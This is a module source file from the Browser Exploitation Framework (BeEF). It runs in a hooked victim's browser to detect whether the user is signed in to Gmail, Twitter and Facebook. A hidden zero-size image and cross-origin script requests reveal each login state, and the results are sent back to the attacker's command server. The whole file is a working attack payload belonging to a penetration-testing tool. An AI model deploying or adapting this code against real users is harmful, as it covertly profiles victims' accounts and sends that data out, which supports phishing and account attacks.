command.js

//
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var facebookresult = "";
	var twitterresult = "";
	
	if (document.getElementById('gmailimg')) {
		return "Img has already been created";
	}
	
	var img = new Image();
	img.setAttribute("style","visibility:hidden");
	img.setAttribute("width","0");
	img.setAttribute("height","0");
	img.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date();
	img.id = 'gmailimg';
	img.setAttribute("attr","start");
	img.onerror = function() {
		this.setAttribute("attr","error");
	};
	img.onload = function() {
		this.setAttribute("attr","load");
	};

	
	document.body.appendChild(img);
	
	$j.ajax({
		url: "https://twitter.com/account/use_phx?setting=false&format=text",
		dataType: "script",
		cache: "false",
		complete: function(one, two) {
			if (two == "success") {
				twitterresult = "User is NOT authenticated to Twitter (response:"+two+")";
			} else if (two == "timeout") {
				twitterresult = "User is authenticated to Twitter (response:"+two+")";
			}
		},
		timeout: <%= @timeout %>
	});
	
	$j.ajax({
		url: "https://www.facebook.com/imike3",
		dataType: "script",
		cache: "false",
		error: function(one, two, three) {
			facebookresult = "User is NOT authenticated to Facebook";
		},
		success: function(one, two, three) {
			facebookresult = "User is authenticated to Facebook";
		},
		timeout: <%= @timeout %>
	});

	setTimeout(function() {
		var img2 = document.getElementById('gmailimg');	
		if (img2.getAttribute("attr") == "error") {
			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
		} else if (img2.getAttribute("attr") == "load") {
			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
		} else if (img2.getAttribute("attr") == "start") {
			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
		};
		document.body.removeChild(img2);
		img = null;
		img2 = null;
		}, <%= @timeout %>+3000);

});